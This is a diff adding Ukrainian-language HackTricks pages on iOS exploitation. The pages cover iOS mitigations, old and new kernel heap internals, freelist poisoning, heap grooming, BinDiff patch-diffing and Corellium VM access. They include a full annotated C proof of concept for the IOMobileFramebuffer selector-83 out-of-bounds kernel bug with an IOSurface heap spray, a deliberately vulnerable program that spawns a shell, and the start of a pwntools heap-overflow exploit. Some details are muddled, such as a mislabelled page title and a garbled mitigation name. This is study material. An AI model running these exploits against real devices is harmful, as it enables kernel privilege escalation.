type 2**. AppleCLCD та IOMobileFramebuffer ділять ту саму таблицю external-methods; type 2 відкриває доступ до **selector 83**, вразливого методу. **Це ваш вхід до бага.** E_POC/) + +**Why 83 matters:** decompiled шлях такий: + +- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\ +→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\ +→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\ +Всередині останнього виклику код **використовує ваш 32-біт scalar як індекс масиву без перевірки меж**, бере вказівник з **`this + 0xA58 + index*8`**, і **передає його як `IOSurface*`** до `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **Ось OOB + type confusion.** + +2. **The heap spray (why IOSurface shows up here)** + +- `do_spray()` використовує **`IOSurfaceRootUserClient`**, щоб **створити багато IOSurface** і **розпорошити малі значення** (стиль `s_set_value`). Це заповнює сусідні kernel heaps **вказівниками на валідні IOSurface об'єкти**. + +- **Мета:** коли selector 83 читає за межами легітимної таблиці, **OOB слот швидше за все міститиме вказівник на один із ваших (реальних) IOSurface** — отже подальше дереференсування **не впаде** і **успішно виконається**. IOSurface — класичний, добре документований spray-примітив ядра, і пост Saar явно перераховує методи **create / set_value / lookup**, які використовуються в цьому експлойт-флоу. + +3. **The "offset/8" trick (what that index really is)** + +- У `trigger_oob(offset)` ви встановлюєте `scalars[0] = offset / 8`. + +- **Чому ділять на 8?** Ядро робить **`base + index*8`** щоб обчислити який **pointer-sized слот** читати. Ви обираєте **«номер слоту N»**, а не байтовий зсув. **Вісім байтів на слот** у 64-bit. + +- Обчислена адреса — **`this + 0xA58 + index*8`**. PoC використовує велике константне значення (`0x1200000 + 0x1048`), просто щоб стрибнути **дуже далеко за межі** у регіон, який ви намагалися **щільно наповнити вказівниками IOSurface**. **Якщо spray „перемагає“, слот, в який ви потрапляєте, — валідний `IOSurface*`.** + +4. **What selector 83 returns (this is the subtle part)** + +- Виклик такий: + +`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, +output_scalars, &output_scalars_size, NULL, NULL);`o + +- Всередині, після OOB читання вказівника, драйвер викликає\ +**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**. + +- **Result:** **`output_scalars[0]` — це Mach port name (u32 handle) у вашому процесі** для *того об'єкта-вказівника, який ви надали через OOB*. **Це не сирий kernel address leak; це користувацький дескриптор (send right).** Ця саме поведінка (копіювання *port name*) показана в де компіляції Saara. + +**Why that's useful:** маючи **port name** для (суперечливої) IOSurface, ви тепер можете використовувати методи **IOSurfaceRoot**, наприклад: + +- **`s_lookup_surface_from_port` (method 34)** → перетворити порт у **surface ID**, з яким можна оперувати через інші IOSurface виклики, та + +- **`s_create_port_from_surface` (method 35)** якщо потрібна зворотна операція.\ +Saar виокремлює ці саме методи як наступний крок. **PoC доводить, що ви можете «згенерувати» легітимний IOSurface handle з OOB слоту.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com) + +This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps: +```c +#include "exploit.h" + +// Open the AppleCLCD (aka IOMFB) user client so we can call external methods. +io_connect_t get_appleclcd_uc(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; +int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐ +// (AppleCLCD and IOMobileFramebuffer share the same external methods table.) + +// Find the **AppleCLCD** service in the IORegistry. +io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, +IOServiceMatching("AppleCLCD")); +if(service == MACH_PORT_NULL) { +printf("[-] failed to open service\n"); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD service: 0x%x\n", service); + +// Open a user client connection to AppleCLCD with the chosen **type**. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if(ret != KERN_SUCCESS) { +printf("[-] failed to open userclient: %s\n", mach_error_string(ret)); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn); +return shared_user_client_conn; +} + +// Trigger the OOB index path of external method #83. +// The 'offset' you pass is in bytes; dividing by 8 converts it to the +// index of an 8-byte pointer slot in the internal table at (this + 0xA58). +uint64_t trigger_oob(uint64_t offset) { +kern_return_t ret; + +// The method takes a single 32-bit scalar that it uses as an index. +uint64_t scalars[1] = { 0x0 }; +scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐ + +// #83 returns one scalar. In this flow it will be the Mach port name +// (a u32 handle in our task), not a kernel pointer. +uint64_t output_scalars[1] = { 0 }; +uint32_t output_scalars_size = 1; + +io_connect_t appleclcd_uc = get_appleclcd_uc(); +if (appleclcd_uc == MACH_PORT_NULL) { +return 0; +} + +// Call external method 83. Internally: +// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch +// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out) +// which creates a send right for that object and writes its port name +// into output_scalars[0]. If ptr is junk → deref/panic (DoS). +ret = IOConnectCallMethod(appleclcd_uc, 83, +scalars, 1, +NULL, 0, +output_scalars, &output_scalars_size, +NULL, NULL); + +if (ret != KERN_SUCCESS) { +printf("[-] external method 83 failed: %s\n", mach_error_string(ret)); +return 0; +} + +// This is the key: you get back a Mach port name (u32) to whatever +// object was at that OOB slot (ideally an IOSurface you sprayed). +printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]); +return output_scalars[0]; +} + +// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a +// real IOSurface (easier & stabler than a fully fake object). +bool do_spray(void) { +char data[0x10]; +memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying. + +// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +printf("[-] do_spray: failed to allocate new iosurface_uc\n"); +return false; +} + +// Create many IOSurfaces and use set_value / value spray helpers +// (Brandon Azad-style) to fan out allocations in kalloc. ⭐ +int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int)); +for (size_t i = 0; i < SURFACES_COUNT; ++i) { +surface_ids[i] = create_surface(iosurface_uc); // s_create_surface +if (surface_ids[i] <= 0) { +return false; +} + +// Spray small values repeatedly: tends to allocate/fill predictable +// kalloc regions near where the IOMFB table OOB will read from. +// The “with_gc” flavor forces periodic GC to keep memory moving/packed. +if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i], +20, 200, // rounds, per-round items +data, sizeof(data), +NULL) == false) { +printf("iosurface spray failed\n"); +return false; +} +} +return true; +} + +int main(void) { +// Ensure we can talk to IOSurfaceRoot (some helpers depend on it). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +return 0; +} + +printf("[*] do spray\n"); +if (do_spray() == false) { +printf("[-] shape failed, abort\n"); +return 1; +} +printf("[*] spray success\n"); + +// Trigger the OOB read. The magic constant chooses a pointer-slot +// far beyond the legit array (offset is in bytes; index = offset/8). +// If the spray worked, this returns a **Mach port name** (handle) to one +// of your sprayed IOSurfaces; otherwise it may crash. +printf("[*] trigger\n"); +trigger_oob(0x1200000 + 0x1048); +return 0; +} +``` +## Посилання +- [Оригінальний writeup від Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/) +- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC) +- [Дослідження від jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/README.md b/src/binary-exploitation/ios-exploiting/README.md new file mode 100644 index 000000000..abb58fbc5 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/README.md @@ -0,0 +1,270 @@ +# iOS Exploiting + +{{#include ../../banners/hacktricks-training.md}} + +## iOS Exploit Mitigations + +- **Code Signing** в iOS працює так: кожен фрагмент виконуваного коду (додатки, бібліотеки, розширення тощо) повинен бути криптографічно підписаний сертифікатом, виданим Apple. Коли код завантажується, iOS перевіряє цифровий підпис проти довіреного кореневого сертифіката Apple. Якщо підпис недійсний, відсутній або змінений, ОС відмовляє у виконанні. Це перешкоджає зловмисникам інжектити шкідливий код у легітимні програми або запускати непідписані бінарники, ефективно блокуючи більшість експлойт-чейнів, що покладаються на виконання довільного або зміненого коду. +- **CoreTrust** — підсистема iOS, яка відповідає за застосування перевірки підписів під час виконання. Вона безпосередньо перевіряє підписи з використанням кореневого сертифіката Apple без покладання на кешовані сховища довіри, тобто лише бінарі, підписані Apple (або з дійсними entitlements), можуть виконуватись. CoreTrust гарантує, що навіть якщо додаток було змінено після встановлення, модифіковано системні бібліотеки або спробовано завантажити непідписаний код, система заблокує виконання, якщо код не підписано належним чином. Ця сувора перевірка закриває багато post-exploitation векторів, які раніше були доступні через слабші або обхідні перевірки підписів. +- **Data Execution Prevention (DEP)** маркує регіони пам’яті як не виконувані, якщо вони явно не містять коду. Це заважає зловмисникам інжектити shellcode у сегменти даних (наприклад, стек або heap) і виконувати його, змушуючи використовувати складніші техніки, такі як ROP. +- **ASLR (Address Space Layout Randomization)** рандомізує адреси пам’яті для коду, бібліотек, стека та heap щоразу при запуску системи. Це сильно ускладнює для атакуючих передбачення місць корисних інструкцій або gadget-ів, ламуючи багато експлойт-чейнів, які залежать від фіксованого розташування в пам’яті. +- **KASLR (Kernel ASLR)** застосовує ту саму концепцію рандомізації до ядра iOS. Перемішуючи базову адресу ядра при кожному завантаженні, воно перешкоджає надійній локалізації функцій або структур ядра, підвищуючи складність експлойтів на рівні ядра, які могли б інакше отримати повний контроль над системою. +- **Kernel Patch Protection (KPP)**, також відома як **AMCC (Apple Mobile File Integrity)** в iOS, безперервно моніторить кодові сторінки ядра, щоб переконатися, що вони не були змінені. Якщо виявлено будь-яке втручання — наприклад, експлойт, що намагається пропатчити функції ядра або вставити шкідливий код — пристрій негайно зробить panic і перезавантажиться. Цей захід ускладнює створення персистентних експлойтів ядра, оскільки атакуючі не можуть просто підмінити або hook-нути інструкції ядра без виклику системного збою. +- **Kernel Text Readonly Region (KTRR)** — апаратна функція безпеки, введена на iOS-пристроях. Вона використовує контролер пам’яті CPU для позначення секції коду (text) ядра як постійно тільки для читання після завантаження. Після блокування навіть саме ядро не може змінювати цю ділянку пам’яті. Це запобігає можливості патчити інструкції ядра під час виконання, закриваючи велику категорію експлойтів, що покладались на прямі модифікації коду ядра. +- **Pointer Authentication Codes (PAC)** використовують криптографічні підписи, вбудовані в невикористані біти вказівників, щоб перевіряти їх цілісність перед використанням. Коли вказівник (наприклад, адресу повернення або вказівник на функцію) створюється, CPU підписує його секретним ключем; перед роздереференсуванням CPU перевіряє підпис. Якщо вказівник було підроблено, перевірка не проходить і виконання припиняється. Це перешкоджає атакуючим підробляти або повторно використовувати змінені вказівники в помилках корупції пам’яті, ускладнюючи техніки типу ROP або JOP. +- **Privilege Access never (PAN)** — апаратна функція, яка забороняє ядру (режим з привілеями) безпосередньо доступатися до пам’яті користувача, якщо воно явно не ввімкнуло такий доступ. Це ускладнює для атакуючих, що отримали виконання коду в ядрі, просте читання або запис користувацької пам’яті для ескалації привілеїв або крадіжки чутливих даних. Шляхом суворого розділення PAN зменшує вплив експлойтів ядра і блокує багато типових технік ескалації привілеїв. +- **Page Protection Layer (PPL)** — механізм безпеки iOS, який захищає критичні керовані ядром регіони пам’яті, особливо ті, що пов’язані з code signing та entitlements. Він накладає суворі обмеження на запис з використанням MMU (Memory Management Unit) та додаткових перевірок, гарантуючи, що навіть привілейований код ядра не може довільно змінювати чутливі сторінки. Це перешкоджає атакуючим, які отримали виконання на рівні ядра, змінювати критичні структури безпеки, ускладнюючи персистентність і обхід підписів коду. + +## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era) + +Ядро використовувало **zone allocator** (`kalloc`), розділений на зони фіксованого розміру ("zones"). +Кожна зона зберігала лише алокації одного розміру. + +From the screenshot: + +| Zone Name | Element Size | Example Use | +|----------------------|--------------|-----------------------------------------------------------------------------| +| `default.kalloc.16` | 16 bytes | Дуже малі структури ядра, вказівники. | +| `default.kalloc.32` | 32 bytes | Малі структури, заголовки об’єктів. | +| `default.kalloc.64` | 64 bytes | IPC messages, крихітні kernel буфери. | +| `default.kalloc.128` | 128 bytes | Середні об’єкти, як частини `OSObject`. | +| `default.kalloc.256` | 256 bytes | Більші IPC messages, масиви, структури пристроїв. | +| … | … | … | +| `default.kalloc.1280`| 1280 bytes | Великі структури, IOSurface/graphics метадані. | + +Як це працювало: +- Кожен запит на алокацію округлявся вгору до найближчого розміру зони. +(Напр., запит на 50 байт потрапляв у `kalloc.64` зону). +- Пам’ять у кожній зоні зберігалася у **freelist** — чанки, які звільняв kernel, повертались назад у цю зону. +- Якщо ви переповнювали 64-байтовий буфер, ви перезаписували **наступний об’єкт у тій же зоні**. + +Ось чому **heap spraying / feng shui** був настільки ефективним: ви могли прогнозувати сусідів об’єктів, розприскуючи алокації одного і того ж розміру. + +### The freelist + +Всередині кожної kalloc-зони звільнені об’єкти не поверталися напряму системі — вони йшли у freelist, зв’язаний список доступних чанків. + +- Коли чанок звільнявся, kernel записував в початок того чанку вказівник → адресу наступного вільного чанку в тій же зоні. + +- Зона зберігала HEAD вказівник на перший вільний чанок. + +- Алокація завжди використовувала поточний HEAD: + +1. Pop HEAD (повернути цю пам’ять викликачу). + +2. Update HEAD = HEAD->next (збережено в заголовку звільненого чанка). + +- Звільнення штовхало чанки назад: + +- `freed_chunk->next = HEAD` + +- `HEAD = freed_chunk` + +Отже, freelist був просто зв’язаним списком, побудованим всередині самої звільненої пам’яті. + +Normal state: +``` +Zone page (64-byte chunks for example): +[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ] + +Freelist view: +HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL +(next ptrs stored at start of freed chunks) +``` +### Експлуатація freelist + +Оскільки перші 8 байтів free chunk = freelist pointer, нападник може його пошкодити: + +1. **Heap overflow** у суміжний freed chunk → перезаписати його “next” pointer. + +2. **Use-after-free** запис у freed object → перезаписати його “next” pointer. + +Потім, при наступному allocation такого розміру: + +- Allocator витягає corrupted chunk. +- Слідує за attacker-supplied “next” pointer. +- Повертає pointer до довільної пам'яті, що дозволяє fake object primitives або targeted overwrite. + +Візуальний приклад freelist poisoning: +``` +Before corruption: +HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL + +After attacker overwrite of F1->next: +HEAD ──► [ F1 ] +(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen) + +Next alloc of this zone → kernel hands out memory at attacker-controlled address. +``` +Цей дизайн freelist зробив експлуатацію надзвичайно ефективною до запровадження hardening: predictable neighbors від heap sprays, raw pointer freelist links і відсутність type separation дозволяли атакуючим ескалувати UAF/overflow баги в довільний контроль над пам’яттю ядра. + +### Heap Grooming / Feng Shui +The goal of heap grooming is to **shape the heap layout** so that when an attacker triggers an overflow or use-after-free, the target (victim) object sits right next to an attacker-controlled object.\ +That way, when memory corruption happens, the attacker can reliably overwrite the victim object with controlled data. + +**Steps:** + +1. Spray allocations (fill the holes) +- Over time, the kernel heap gets fragmented: some zones have holes where old +objects were freed. +- The attacker first makes lots of dummy allocations to fill these gaps, so +the heap becomes “packed” and predictable. + +2. Force new pages +- Once the holes are filled, the next allocations must come from new pages +added to the zone. +- Fresh pages mean objects will be clustered together, not scattered across +old fragmented memory. +- This gives the attacker much better control of neighbors. + +3. Place attacker objects +- The attacker now sprays again, creating lots of attacker-controlled objects +in those new pages. +- These objects are predictable in size and placement (since they all belong +to the same zone). + +4. Free a controlled object (make a gap) +- The attacker deliberately frees one of their own objects. +- This creates a “hole” in the heap, which the allocator will later reuse for +the next allocation of that size. + +5. Victim object lands in the hole +- The attacker triggers the kernel to allocate the victim object (the one +they want to corrupt). +- Since the hole is the first available slot in the freelist, the victim is +placed exactly where the attacker freed their object. + +6. Overflow / UAF into victim +- Now the attacker has attacker-controlled objects around the victim. +- By overflowing from one of their own objects (or reusing a freed one), they +can reliably overwrite the victim’s memory fields with chosen values. + +**Why it works**: + +- Zone allocator predictability: allocations of the same size always come from +the same zone. +- Freelist behavior: new allocations reuse the most recently freed chunk first. +- Heap sprays: attacker fills memory with predictable content and controls layout. +- End result: attacker controls where the victim object lands and what data sits +next to it. + +--- + +## Modern Kernel Heap (iOS 15+/A12+ SoCs) + +Apple hardened the allocator and made **heap grooming much harder**: + +### 1. From Classic kalloc to kalloc_type +- **Before**: a single `kalloc.` zone existed for each size class (16, 32, 64, … 1280, etc.). Any object of that size was placed there → attacker objects could sit next to privileged kernel objects. +- **Now**: +- Kernel objects are allocated from **typed zones** (`kalloc_type`). +- Each type of object (e.g., `ipc_port_t`, `task_t`, `OSString`, `OSData`) has its own dedicated zone, even if they’re the same size. +- The mapping between object type ↔ zone is generated from the **kalloc_type system** at compile time. + +An attacker can no longer guarantee that controlled data (`OSData`) ends up adjacent to sensitive kernel objects (`task_t`) of the same size. + +### 2. Slabs and Per-CPU Caches +- The heap is divided into **slabs** (pages of memory carved into fixed-size chunks for that zone). +- Each zone has a **per-CPU cache** to reduce contention. +- Allocation path: +1. Try per-CPU cache. +2. If empty, pull from the global freelist. +3. If freelist is empty, allocate a new slab (one or more pages). +- **Benefit**: This decentralization makes heap sprays less deterministic, since allocations may be satisfied from different CPUs’ caches. + +### 3. Randomization inside zones +- Within a zone, freed elements are not handed back in simple FIFO/LIFO order. +- Modern XNU uses **encoded freelist pointers** (safe-linking like Linux, introduced ~iOS 14). +- Each freelist pointer is **XOR-encoded** with a per-zone secret cookie. +- This prevents attackers from forging a fake freelist pointer if they gain a write primitive. +- Some allocations are **randomized in their placement within a slab**, so spraying doesn’t guarantee adjacency. + +### 4. Guarded Allocations +- Certain critical kernel objects (e.g., credentials, task structures) are allocated in **guarded zones**. +- These zones insert **guard pages** (unmapped memory) between slabs or use **redzones** around objects. +- Any overflow into the guard page triggers a fault → immediate panic instead of silent corruption. + +### 5. Page Protection Layer (PPL) and SPTM +- Even if you control a freed object, you can’t modify all of kernel memory: +- **PPL (Page Protection Layer)** enforces that certain regions (e.g., code signing data, entitlements) are **read-only** even to the kernel itself. +- On **A15/M2+ devices**, this role is replaced/enhanced by **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**. +- These hardware-enforced layers mean attackers can’t escalate from a single heap corruption to arbitrary patching of critical security structures. + +### 6. Large Allocations +- Not all allocations go through `kalloc_type`. +- Very large requests (above ~16KB) bypass typed zones and are served directly from **kernel VM (kmem)** via page allocations. +- These are less predictable, but also less exploitable, since they don’t share slabs with other objects. + +### 7. Allocation Patterns Attackers Target +Even with these protections, attackers still look for: +- **Reference count objects**: if you can tamper with retain/release counters, you may cause use-after-free. +- **Objects with function pointers (vtables)**: corrupting one still yields control flow. +- **Shared memory objects (IOSurface, Mach ports)**: these are still attack targets because they bridge user ↔ kernel. + +But — unlike before — you can’t just spray `OSData` and expect it to neighbor a `task_t`. You need **type-specific bugs** or **info leaks** to succeed. + +### Example: Allocation Flow in Modern Heap + +Suppose userspace calls into IOKit to allocate an `OSData` object: + +1. **Type lookup** → `OSData` maps to `kalloc_type_osdata` zone (size 64 bytes). +2. Check per-CPU cache for free elements. +- If found → return one. +- If empty → go to global freelist. +- If freelist empty → allocate a new slab (page of 4KB → 64 chunks of 64 bytes). +3. Return chunk to caller. + +**Freelist pointer protection**: +- Each freed chunk stores the address of the next free chunk, but encoded with a secret key. +- Overwriting that field with attacker data won’t work unless you know the key. + + +## Comparison Table + +| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** | +|---------------------------------|------------------------------------------------------------|--------------------------------------------------| +| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) | +| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) | +| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) | +| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects | +| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages | +| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks | + +## (Old) Physical Use-After-Free via IOSurface + +{{#ref}} +ios-physical-uaf-iosurface.md +{{#endref}} + +--- + +## Ghidra Install BinDiff + +Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it. + +Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and встановіть його, навіть якщо є несумісність версій. + +### Using BinDiff with Kernel versions + +1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files. +2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on: + +{{#ref}} +../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +{{#endref}} + +3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches. +4. Open each kernelcache so they are automatically analyzed by Ghidra. +5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them. +6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache. + +--- + +## Finding the right XNU version + +If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel). + +For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`. + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-corellium.md b/src/binary-exploitation/ios-exploiting/ios-corellium.md new file mode 100644 index 000000000..563d1ccef --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-corellium.md @@ -0,0 +1,78 @@ +# iOS Як підключитися до Corellium + +{{#include ../../banners/hacktricks-training.md}} + +## **Вимоги** +- A Corellium iOS VM (jailbroken or not). У цьому керівництві передбачається, що у вас є доступ до Corellium. +- Локальні інструменти: **ssh/scp**. +- (Необов'язково) **SSH keys** додані до вашого проєкту Corellium для безпарольного входу. + + +## **Підключення до iPhone VM з localhost** + +### A) **Quick Connect (без VPN)** +0) Додайте ваш ssh key у **`/admin/projects`** (рекомендовано). +1) Відкрийте сторінку пристрою → **Connect** +2) Скопіюйте команду Quick Connect SSH, яку показує Corellium, і вставте її в термінал. +3) Введіть пароль або використайте ваш ключ (рекомендовано). + +### B) **VPN → direct SSH** +0) Додайте ваш ssh key у **`/admin/projects`** (рекомендовано). +1) Сторінка пристрою → **CONNECT** → **VPN** → завантажте `.ovpn` та підключіться через будь-який VPN client, що підтримує TAP mode. (Перевірте [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) якщо виникають проблеми.) +2) Підключіться по SSH до адреси VM **10.11.x.x**: +```bash +ssh root@10.11.1.1 +``` +## **Завантажити нативний бінарний файл та виконати його** + +### 2.1 **Завантаження** +- Якщо Quick Connect дав вам host/port: +```bash +scp -J ./mytool root@10.11.1.1:/var/root/mytool +``` +- Якщо використовуєте VPN (10.11.x.x): +```bash +scp ./mytool -J root@10.11.1.1:/var/root/mytool +``` +## **Завантажити та встановити iOS-додаток (.ipa)** + +### Шлях A — **Web UI (найшвидший)** +1) Сторінка пристрою → вкладка **Apps** → **Install App** → оберіть свій `.ipa`. +2) З тієї ж вкладки ви можете **launch/kill/uninstall**. + +### Шлях B — **Scripted via Corellium Agent** +1) Використайте API Agent для **upload**, а потім **install**: +```js +// Node.js (pseudo) using Corellium Agent +await agent.upload("./app.ipa", "/var/tmp/app.ipa"); +await agent.install("/var/tmp/app.ipa", (progress, status) => { +console.log(progress, status); +}); +``` +### Path C — **Не з джейлбрейком (коректне підписування / Sideloadly)** +- Якщо у вас немає provisioning profile, використовуйте **Sideloadly** для повторного підпису за допомогою вашого Apple ID, або підпишіть у **Xcode**. +- Також ви можете відкрити доступ VM до **Xcode** за допомогою **USBFlux** (див. §5). + +- Для швидкого перегляду логів/виконання команд без SSH використовуйте пристрій **Console** в інтерфейсі. + +## **Додатково** + +- **Port-forwarding** (щоб інші інструменти сприймали VM як локальний): +```bash +# Forward local 2222 -> device 22 +ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1 +# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/ +``` +- **LLDB remote debugging**: використовуйте адресу **LLDB/GDB stub**, показану внизу сторінки пристрою (CONNECT → LLDB). + +- **USBFlux (macOS/Linux)**: подайте VM до **Xcode/Sideloadly** як пристрій, підключений кабелем. + + +## **Поширені підводні камені** +- **Proper signing** потрібен на **non-jailbroken** пристроях; **unsigned IPAs** не запустяться. +- **Quick Connect vs VPN**: Quick Connect — найпростіший варіант; використовуйте **VPN**, коли потрібен доступ до пристрою у вашій локальній мережі (наприклад, локальні проксі/інструменти). +- **No App Store** на пристроях Corellium; приносіть свої (re)signed IPAs. + + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md new file mode 100644 index 000000000..1e7c84d84 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md @@ -0,0 +1,205 @@ +# iOS Як підключитися до Corellium + +{{#include ../../banners/hacktricks-training.md}} + +## Vuln Code +```c +#define _GNU_SOURCE +#include +#include +#include +#include + +__attribute__((noinline)) +static void safe_cb(void) { +puts("[*] safe_cb() called — nothing interesting here."); +} + +__attribute__((noinline)) +static void win(void) { +puts("[+] win() reached — spawning shell..."); +fflush(stdout); +system("/bin/sh"); +exit(0); +} + +typedef void (*cb_t)(void); + +typedef struct { +cb_t cb; // <--- Your target: overwrite this with win() +char tag[16]; // Cosmetic (helps make the chunk non-tiny) +} hook_t; + +static void fatal(const char *msg) { +perror(msg); +exit(1); +} + +int main(void) { +// Make I/O deterministic +setvbuf(stdout, NULL, _IONBF, 0); + +// Print address leak so exploit doesn't guess ASLR +printf("[*] LEAK win() @ %p\n", (void*)&win); + +// 1) Allocate the overflow buffer +size_t buf_sz = 128; +char *buf = (char*)malloc(buf_sz); +if (!buf) fatal("malloc buf"); +memset(buf, 'A', buf_sz); + +// 2) Allocate the hook object (likely adjacent in same magazine/size class) +hook_t *h = (hook_t*)malloc(sizeof(hook_t)); +if (!h) fatal("malloc hook"); +h->cb = safe_cb; +memcpy(h->tag, "HOOK-OBJ", 8); + +// A tiny bit of noise to look realistic (and to consume small leftover holes) +void *spacers[16]; +for (int i = 0; i < 16; i++) { +spacers[i] = malloc(64); +if (spacers[i]) memset(spacers[i], 0xCC, 64); +} + +puts("[*] You control a write into the 128B buffer (no bounds check)."); +puts("[*] Enter payload length (decimal), then the raw payload bytes."); + +// 3) Read attacker-chosen length and then read that many bytes → overflow +char line[64]; +if (!fgets(line, sizeof(line), stdin)) fatal("fgets"); +unsigned long n = strtoul(line, NULL, 10); + +// BUG: no clamp to 128 +ssize_t got = read(STDIN_FILENO, buf, n); +if (got < 0) fatal("read"); +printf("[*] Wrote %zd bytes into 128B buffer.\n", got); + +// 4) Trigger: call the hook's callback +puts("[*] Calling h->cb() ..."); +h->cb(); + +puts("[*] Done."); +return 0; +} +``` +Скомпілюйте це за допомогою: +```bash +clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c +``` +## Exploit + +> [!WARNING] +> Цей exploit встановлює змінну оточення `MallocNanoZone=0`, щоб вимкнути NanoZone. Це потрібно, щоб отримати суміжні виділення при виклику `malloc` з невеликими розмірами. Без цього різні mallocs будуть розміщені в різних зонах і не будуть суміжними, тому overflow не спрацює як очікувалося. +```python +#!/usr/bin/env python3 +# Heap overflow exploit for macOS ARM64 CTF challenge +# +# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting +# a function pointer in an adjacent heap chunk. +# +# Key insights: +# 1. macOS uses different heap zones for different allocation sizes +# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout +# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed) +# +from pwn import * +import re +import sys +import struct +import platform + +# Detect architecture and set context accordingly +if platform.machine() == 'arm64' or platform.machine() == 'aarch64': +context.clear(arch='aarch64') +else: +context.clear(arch='amd64') + +BIN = './heap_groom' + +def parse_leak(line): +m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line) +if not m: +log.failure("Couldn't parse leak") +sys.exit(1) +return int(m.group(1), 16) + +def build_payload(win_addr, extra_pad=0): +# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer] +padding = b'A' * 128 +if extra_pad: +padding += b'B' * extra_pad +# Add the win address to overwrite the function pointer +payload = padding + p64(win_addr) +return payload + +def main(): +# On macOS, we need to disable the Nano zone for adjacent allocations +import os +env = os.environ.copy() +env['MallocNanoZone'] = '0' + +# The correct padding with MallocNanoZone=0 is 432 bytes +# This makes the total distance 560 bytes (128 buffer + 432 padding) +# Try the known working value first, then alternatives in case of heap variation +candidates = [ +432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0) +424, # Try slightly less in case of alignment differences +440, # Try slightly more +416, # 16 bytes less +448, # 16 bytes more +0, # Direct adjacency (unlikely but worth trying) +] + +log.info("Starting heap 